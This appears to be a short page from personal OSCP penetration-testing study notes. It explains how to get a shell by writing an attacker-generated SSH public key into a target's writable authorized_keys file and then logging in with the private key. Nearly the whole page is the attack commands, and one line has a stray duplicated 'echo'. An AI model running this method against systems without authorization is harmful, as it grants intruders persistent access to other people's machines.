O
O
OSCP Notes
Search…
⌃K

.ssh writable?

if you can't get to tty,
ssh-keygen -f whatever
chmod 600 whatever
cat whatever.pub
#copy the public key and put it into the target system as authorized_keys
echo 'ssh-rsa AOJfjpfojasfpjspfojaspfa' > authorized_keys
echo echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCmbfTUs9jT8Jqu8mX2P4u9P6vGe6vghnBDb6iPjqX8ZvTw5ifxR1yrirjWtOfvahpwG0X9iDJX5k+wCyNR/fN87VwciIIwrrHpXQj2ZzMiQVKQkl3QyLsn/cguZB0tp4Hj14l1h2J5Rp30MBftBe8jNbqFaNSmMKm+mffL5QCgG7ZcQ4ttCN3Jk0/b/pjsiUL/vqP97u3wXuR8PwrZWgRaKnk0/qYwhsk+WJNW+Yq28gq/Pv6ptPwd9aF4Pq6+9/jTIstNGFCosKfpmc+9/jIa5D4f5WklHWM4FVCGVusSNT6SwOYOL9klHpei1CvpQV9NwnsLSrlYP2uR6OSp22EXnJnbxi9OXs4FGAJu3GqVHDNUNs4qZk2bPh5Rzv4YJy1j2+e+WyTZV0ItFvdR0lSGg/P0/9DEoUgRGVoLRvpAjwNctpu2PZsNqfQsiP8IlCqSqRuETafh3Ufe5IlYSnyDwOAAi0Ekd5Z70S3M1gusTz+dr7jo53BzqS59EwO9CRk=' > authorized_keys
on kali, chmod 600 whatever (private key)
ssh -i whatever [email protected]_IP
this should gets you a shell